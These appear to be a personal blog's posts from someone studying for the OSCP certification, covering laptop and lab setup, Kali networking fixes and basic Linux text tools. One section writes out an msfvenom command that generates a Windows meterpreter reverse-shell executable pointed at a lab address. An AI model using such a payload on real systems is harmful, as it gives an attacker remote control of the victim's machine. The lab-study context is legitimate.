Happy Monday!

Currently listening to Desi, waiting for my new USB stick to finish a slow format.  So I have been using my wife’s computer to start prepping for the OSCP, and I have to say, that was a bad idea.  I have a mac, but trying to create my own virtual lab in there has been rough.  I used VirtualBox to do this, but VMWare workstation on a windows machine just seems to get the job done right.

So, my first thought was to go with a souped-up Chromebook.  I went ahead and got the i7 Pixelbook.  Nice looking machine, and yes, I think ChromeOS is nice – but I wanted to run Linux off of it.  So I went two different routes on this, and both didn’t work like I needed it to.

Route 1:  I changed my channel to the developer channel and just used the crostini linux that google offered from this channel.  It wasn’t a full blown linux like I needed.  So scratch that.

Route 2: I put the Pixelbook in developer mode, and ran chroots of linux.  After some crazy finagling, I got kali-rolling on a xfce desktop.  But, still limited – for example, I couldn’t do any networking – this was just a virtual container running on ChromeOS.

I didn’t try wiping the OS and just installing a linux on metal.  Mainly because I was afraid that doing that would lock me into not being able to return the machine.  After not being able to successfully do either of the above routes, I put the machine back on the stable channel, main mode, and powerwash.

I haven’t gotten my $ back (it’s still in the mail), but I need a machine that is not my wife’s.  Some googling commenced, and I settled on a Matebook X Pro (MXP).  I think it’s the best bang for your buck.  I almost bought a Surface Book 2, but it was clunky, and $1K more.  I don’t really need a 2-in-1.  The only thing about the MXP is the resolution is a bit wack.  It works, but it’s like 3000×2000 – and then you have to increase the font size.  So far, ok, but some of my older Vms (windows 7, XP, Ubuntu) are hard to see/really small.  But the ports, the size, and the power of the computer I really like.  I am a bit concerned about the build – Chinese products sometimes don’t last as long, and I am hoping this will take me 5 years out.  But I hope that I am done with my OSCP at that time, and might be time for a new PC, based on what I learned.

I am going to set up a dual boot on Kali and Windows.  The drive is a 512MB SSD and so far, all is well, except for the heat – the computer does come with a 1 year warranty, so I am going to lean on that if something doesn’t go well.

msfvenom

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.1.49 LPORT=12345 -f exe > chapter4example.exe

…That’s not working either.  The output I am getting is:

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload

No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes

I think I am going to keep on going….. and it looks like the multi/handler module isn’t working either.  I’ll come back to this as well.

Data Manipulation and Netcat

Just got done with chapter 2.  Yeah, 17 days later.  Oh well…

The 2nd chapter for me was a bit of a regurgitation of basic Linux commands, other than a few Data Manipulation commands:

  • sed – this command is ideal for editing files based on certain patterns or expressions
  • awk – another pattern matching tool, but more robust

…and the book talks about Netcat.  Now we are working with networking.

Glad to back on the train.

dhclient and restarting smbd

When I installed Kali 2018.2, after bridging the network in VMWare, I wasn’t able to get to the network.  Through a Kali udemy course, I learned two commands that have been working for me in not only Kali, but other Linux machines to get an ip address and bridge the connection.  In Kali, you are root, so I didn’t need sudo.  If you are using a different user, you will need to sudo to run the commands (with the exception of ifconfig):

  • ifconfig

With ifconfig, look to see what your interface is (eth0, eth1).  Mine is eth0 in Kali, so I wil use that for the next command

  • dhclient eth0

DHCP Client, dhclient, provides a means for configuring one or more network interfaces using the Dynamic Host Configuration Protocol, BOOTP protocol, or if these protocols fail, by statically assigning an address.

  • service smbd restart

smbd is the server daemon that provides filesharing and printing services to Windows clients. The server provides filespace and printer services to clients using the SMB (or CIFS) protocol. This is compatible with the LanManager protocol, and can service LanManager clients. These include MSCLIENT 3.0 for DOS, Windows for Workgroups, Windows 95/98/ME, Windows NT, Windows 2000, OS/2, DAVE for Macintosh, and smbfs for Linux

Now try pinging google:

  • ping 8.8.8.8

You should be connected now.  Whoo!